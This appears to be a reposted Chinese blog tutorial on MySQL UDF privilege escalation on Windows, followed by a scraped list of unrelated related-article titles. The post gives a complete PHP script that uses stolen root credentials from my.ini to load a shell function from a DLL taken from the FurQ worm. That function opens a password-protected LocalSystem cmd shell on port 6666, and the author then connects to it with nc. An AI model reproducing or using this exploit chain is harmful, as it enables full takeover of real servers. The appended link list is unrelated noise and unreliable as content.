前不久网上公开了一个MySQL Func的漏洞,讲的是使用MySQL创建一个自定义的函数,然后通过这个函数来攻击服务器。最早看到相关的报道是在o-otik上,但是公布的是针对 Unix系统的Exploit,并且成功率也不是很高.而近期,国内有高手放出针对Win系统的相关文章,于是我马上找来与朋友一同研究.

  其实我们早就能想到.当我们在对MSSQL\Oracle数据库进行攻击的时候,得到了最数据库中高权限的帐户,往往都是执行特殊的扩展过程或者函数来进行攻击的。比如MSSQL有Xp_cmdshell,Oracle可以通过Msvcrt.dll来创建一个特殊的函数.而我们却始终没有想到,作为流行的数据库软件之一的MySQL,也是可以进行函数的创建的.由此看来,MySQL的这个漏洞不应称为漏洞而仅仅是一个技术而已.

  废话一堆过后,我们来了解一下怎么在MySQL里创建一个函数吧.这比如何利用重要许多,只要了解了原理,运用就能更加灵活,而且可以与其他思想融会贯通.

  MySQL中创建一个函数的语句为:

  Create Function FunctionName Returns [String|Integer|Real] Soname 'C:\function.dll';

  其中FunctionName指的是函数的名称,C:\Function.DLL指的是函数所调用的DLL,而函数名正是DLL中的函数名称.不过这里需要我们注意的是,如果我们需要MySQL可以在函数之中附带一个参数的话,那么就要符合UDF形式的程序编写规则,具体的可以查看MySQL手册的第 14节:《为MySQL增加新函数》.而其中STRING,INTEGET,REAL是函数执行后所返回的值的形式.当然,我们大可不必遵循UDF形式的编写,其实如果我们的函数中使用一个我们要执行的代码,而不使用参数,一样可以达到攻击的效果,比如说System("command.com")等等. 网上现在以此漏洞进行攻击的FurQ蠕虫就是一个不使用UDF格式的例子.但是注意,这个创建函数的语句必须要求我们所用的MySQL帐户有对mysql 这个数据库的写权限,否则无法正常使用.

  好了.了解了原理之后,我们来实战一下如何使用MySQL提升权限.

  在这里我们已经通过各式各样的漏洞取得了一个服务器的WebShell,我这里演示的是angel的phpspy,因为PHP默认有连接MySQL的函数,而ASP这些需要使用附加的组件来进行连接,本身不具备条件的.

  一般来说,在Win系统下面,很多软件都会在系统目录下创建一个叫my.ini的文件,其中包含了很敏感的MySQL信息.而如果我们攻克的主机没有非常好的权限设置的话,我们本身就具有对%windir%目录的浏览权限,所以可以非常容易的读取其中的信息.而且非常多的管理员通常是将root帐户与密码写进这个My.ini,所以一旦我们读到root用户的密码,就可以操纵整个MySQL数据库或者是服务器了.如图1.

  得到MySQL的Root密码之后,我们需要上传我们的DLL文件,我这里使用的是从FurQ蠕虫中提取的FurQ.dll.执行这个 FurQ.DLL中的Shell函数,系统将会在6666端口打开一个带密码的CMDShell,当然,密码我们已经知道,就是"FurQ"几个字符而已.不过我们现在还没有执行的条件.需要通过MySQL将这个函数创建到MySQL中去.

  现在,我们用PHPSPY新建一个PHP文件.

  输入以下的内容

  

  $link=mysql_connect('127.0.0.1','root','root');

  if (!$link) {

  die('Could NOt Connect The Database!: ' . mysql_error());

  };

  echo "Good Boy.Connected!
";

  //这里的root\root就是从my.ini中读取的用户和密码.

  @mysql_select_db('mysql') or die ('use database mysql failed!');

  echo "Yes You Did!
";

  //这里选择使用MySQL数据库表.当然你也可以选择别的,如test.

  $query="Create Function Shell RETURNS INTEGER SONAME 'd:\\wwwroot\\FurQ.dll';";

  @$result = mysql_query($query, $link) or die ("Create Function Failed!");

  echo "Goddess...Successed!
";

  //这两句话是关键,执行MySQL的创建函数语句.将d:\wwwroot\furq.dll中的Shell函数创建进MySQL中.使得MySQL可以执行这个Shell函数.

  $query="Select Shell();";

  @$result = mysql_query($query, $link) or die ("Execute failed");

  echo "Congratulations! Connect The Port 6666 Of This Server VS password:FurQ
";

  //这一步是执行这个Shell函数,打开服务器的6666端口.

  ?>

  再次执行,全部正常返回.如图2.那么现在,我们就可以使用nc连接服务器的6666端口,输入这个密码:FurQ.然后就返回CMDSHELL 了..当然,由于继承的是MySQL的权限,而Win系统下MySQL默认以服务安装,也就是说,我们得到的Shell为LocalSystem权限,可以为所欲为了,不过不要做坏事哦.呵呵

本文转sinojelly51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/373838,如需转载请自行联系原作者

MySQL提权简单方法相关推荐

  1. mysql提权总结方法四则

    一 UDF提权 这类提权方法我想大家已经知道了,我大致写一下,具体语句如下: create function cmdshell returns string soname 'udf.dll'    s ...

  2. MySQL提权的两种方式_利用sqlmap进行mysql提权的小方法(win与liunx通用)

    文章作者:pt007@vip.sina.com 文章来源:https://www.t00ls.net/thread-36196-1-1.html 1.连接mysql数据打开一个交互shell: sql ...

  3. 提权系列(一)----Windows Service 服务器提权初识与exp提权,mysql提权

    一.初识提权 很多时候我们入侵一个网站的时候,想要的是得到这个服务器的权限,也就是admin权限,但是一般默认得到的是普通用的地权限,权限很小,所以就要通过其他手段,提升自己的权限. 提权是将服务器的 ...

  4. bt5 mysql root_MySQL_Linux利用UDF库实现Mysql提权,环境: os:linux(bt5)database - phpStudy...

    Linux利用UDF库实现Mysql提权 环境: os:linux(bt5) database:mysql 简述: 通过自定义库函数来实现执行任意的程序,这里只在linux下测试通过,具体到windo ...

  5. MySQL提权总结与记录-UDF/MOF/启动项提权

    0x00 Mysql提权基础 Mysql提权主要是需要利用高权限的Mysql用户进行操作,拿用户主要是下列几种方式 注入 上传getshell 查看网站数据库配置信息拿到用户密码 弱口令 mysql系 ...

  6. mysql提权_mysql提权总结

    一.mof提权 windows管理规范提供了以下三种方法编译到WMI存储库的托管对象格式(MOF)文件: 1.运行MOF文件指定为命令行参数讲Mofcomp.exe文件. 2.使用IMofCompil ...

  7. MySQL提权——udf提权

    零基础学黑客,搜索公众号:白帽子左一 作者:掌控安全学员--逍遥子 一.前期准备 1.Mysql udf简介 MySQL udf(user definedfunction,用户定义函数),为用户提供了 ...

  8. mysql提权方式linux_Linux提权的几种常用方式

    本文转载自微信公众号「Bypass」,作者Bypass .转载本文请联系Bypass公众号. 在渗透测试过程中,提升权限是非常关键的一步,攻击者往往可以通过利用内核漏洞/权限配置不当/root权限运行 ...

  9. mysqli mysql_PHP使用mysqli操作MySQL数据库的简单方法

    PHP的 mysqli 扩展提供了其先行版本的所有功能,此外,由于 MySQL 已经是一个具有完整特性的数据库服务器 , 这为PHP 又添加了一些新特性 . 而 mysqli 恰恰也支持了这些新特性. ...

最新文章

  1. 用Docker搭建Nexus私服
  2. Synchronize对象改变
  3. EOS智能合约授权限制和数据存储
  4. svn cleanup failed–previous operation has not finished; run cleanup if it was interrupted
  5. php数组删除重复的,从PHP中的数组中删除重复的元素
  6. dy96 .pw cc 05.php,05.php · 熟悉的陌生/php - Gitee.com
  7. 大数据学习笔记33:解决CentOS7上MySQL启动失败问题
  8. redis 了 什么地方用到_细节拉满!美团首推“百万级”Redis进阶笔记究竟有什么魅力...
  9. 几步教你用 Python 制作一个 RPA 机器人!
  10. CodeSmith生成Model、Dal、IDal、BLL
  11. SourceTree/git解决pre-commit hook failed的问题
  12. OSPF高级特性(华为设备)
  13. Linux软raid创建
  14. 最小距离分类器,交互式选取图像样本分类数据,进行最小距离分类(实现欧式距离,马氏距离,计程距离)
  15. html怎么添加视频旋转,拍摄的视频如何旋转 三种方法教你旋转视频
  16. TextView跑马灯
  17. 工作之余如何高效学习
  18. 新网约车大战,打车为什么更难了?
  19. python京东自动签到_python自动签到领京东《豆豆》
  20. 【机器学习】——逻辑模型:树模型(决策树)

热门文章

  1. CS5中动作和批处理
  2. 通用权限管理模块系列——需求分析——列举需求
  3. Re: 求助:5道算法题
  4. MyBatis点滴积累
  5. C++拾取——使用stl标准库实现排序算法及评测
  6. 服务器架设笔记——多模块和全局数据
  7. Office2010启动慢的解决方法
  8. 【Qt】AVFrame转QImage
  9. 【leetcode】力扣刷题(2):两数相加(go语言)
  10. Linux之tee命令